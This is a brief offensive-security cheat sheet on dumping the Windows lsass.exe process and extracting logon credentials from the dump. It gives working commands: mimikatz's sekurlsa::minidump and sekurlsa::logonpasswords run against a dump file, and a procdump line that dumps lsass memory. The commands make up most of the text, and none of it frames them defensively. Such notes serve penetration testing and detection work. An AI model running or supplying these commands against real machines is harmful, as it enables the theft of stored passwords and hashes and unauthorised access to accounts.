Dumping Lsass.exe to Disk and Extracting Credentials

Task Manager

Create a minidump of the lsass.exe using task manager (must be running as administrator):

Swtich mimikatz context to the minidump:

sekurlsa::minidump C:\Users\ADMINI~1.OFF\AppData\Local\Temp\lsass.DMP
sekurlsa::logonpasswords

Procdump

Procdump from sysinternal's could also be used to dump the process:

procdump.exe -accepteula -ma lsass.exe lsass.dmp